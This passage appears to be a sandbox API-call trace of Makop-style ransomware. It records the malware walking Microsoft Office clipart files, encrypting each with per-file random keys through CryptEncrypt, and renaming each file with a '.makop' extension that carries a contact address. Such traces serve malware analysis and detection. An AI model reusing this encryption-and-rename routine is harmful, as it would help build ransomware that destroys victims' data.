CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.323] SetEndOfFile (hFile=0xf0) returned 1 [0153.330] GetProcessHeap () returned 0x48a0000 [0153.330] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.330] GetProcessHeap () returned 0x48a0000 [0153.330] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.330] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.332] CloseHandle (hObject=0xf0) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1 [0153.333] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF") returned 63 [0153.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.335] GetProcessHeap () returned 0x48a0000 [0153.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.336] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.336] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.336] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.336] GetProcessHeap () returned 0x48a0000 [0153.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.336] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.336] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.336] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.341] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.341] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.341] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.342] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.342] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.342] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.342] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.342] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x470, lpOverlapped=0x0) returned 1 [0153.342] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x470, dwBufLen=0x470 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x470) returned 1 [0153.342] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.342] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x470, lpOverlapped=0x0) returned 1 [0153.343] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.343] SetEndOfFile (hFile=0xf0) returned 1 [0153.350] GetProcessHeap () returned 0x48a0000 [0153.351] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.351] GetProcessHeap () returned 0x48a0000 [0153.351] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.351] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.352] CloseHandle (hObject=0xf0) returned 1 [0153.353] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1 [0153.353] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF") returned 63 [0153.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.354] GetProcessHeap () returned 0x48a0000 [0153.354] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.354] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.354] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.354] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.359] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.359] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.359] GetProcessHeap () returned 0x48a0000 [0153.359] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.359] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.359] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.359] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.360] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.360] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.360] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13c4, lpOverlapped=0x0) returned 1 [0153.362] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13d0) returned 1 [0153.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.362] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13d0, lpOverlapped=0x0) returned 1 [0153.363] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.363] SetEndOfFile (hFile=0xf0) returned 1 [0153.369] GetProcessHeap () returned 0x48a0000 [0153.369] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.370] GetProcessHeap () returned 0x48a0000 [0153.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.370] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.371] CloseHandle (hObject=0xf0) returned 1 [0153.372] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1 [0153.372] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF") returned 63 [0153.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.374] GetProcessHeap () returned 0x48a0000 [0153.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.374] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.381] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.381] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.381] GetProcessHeap () returned 0x48a0000 [0153.381] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.381] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.382] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.383] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.383] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.383] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xce8, lpOverlapped=0x0) returned 1 [0153.383] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcf0) returned 1 [0153.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.383] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcf0, lpOverlapped=0x0) returned 1 [0153.384] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.384] SetEndOfFile (hFile=0xf0) returned 1 [0153.390] GetProcessHeap () returned 0x48a0000 [0153.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.390] GetProcessHeap () returned 0x48a0000 [0153.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.390] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.394] CloseHandle (hObject=0xf0) returned 1 [0153.394] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1 [0153.394] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF") returned 63 [0153.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.395] GetProcessHeap () returned 0x48a0000 [0153.395] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.395] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.396] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0153.399] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.400] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.400] GetProcessHeap () returned 0x48a0000 [0153.400] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.400] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.400] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.400] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.400] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.400] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.401] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.401] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.401] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.401] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x338e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x338e, lpOverlapped=0x0) returned 1 [0153.403] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3390, dwBufLen=0x3390 | out: pbData=0x6370020*, 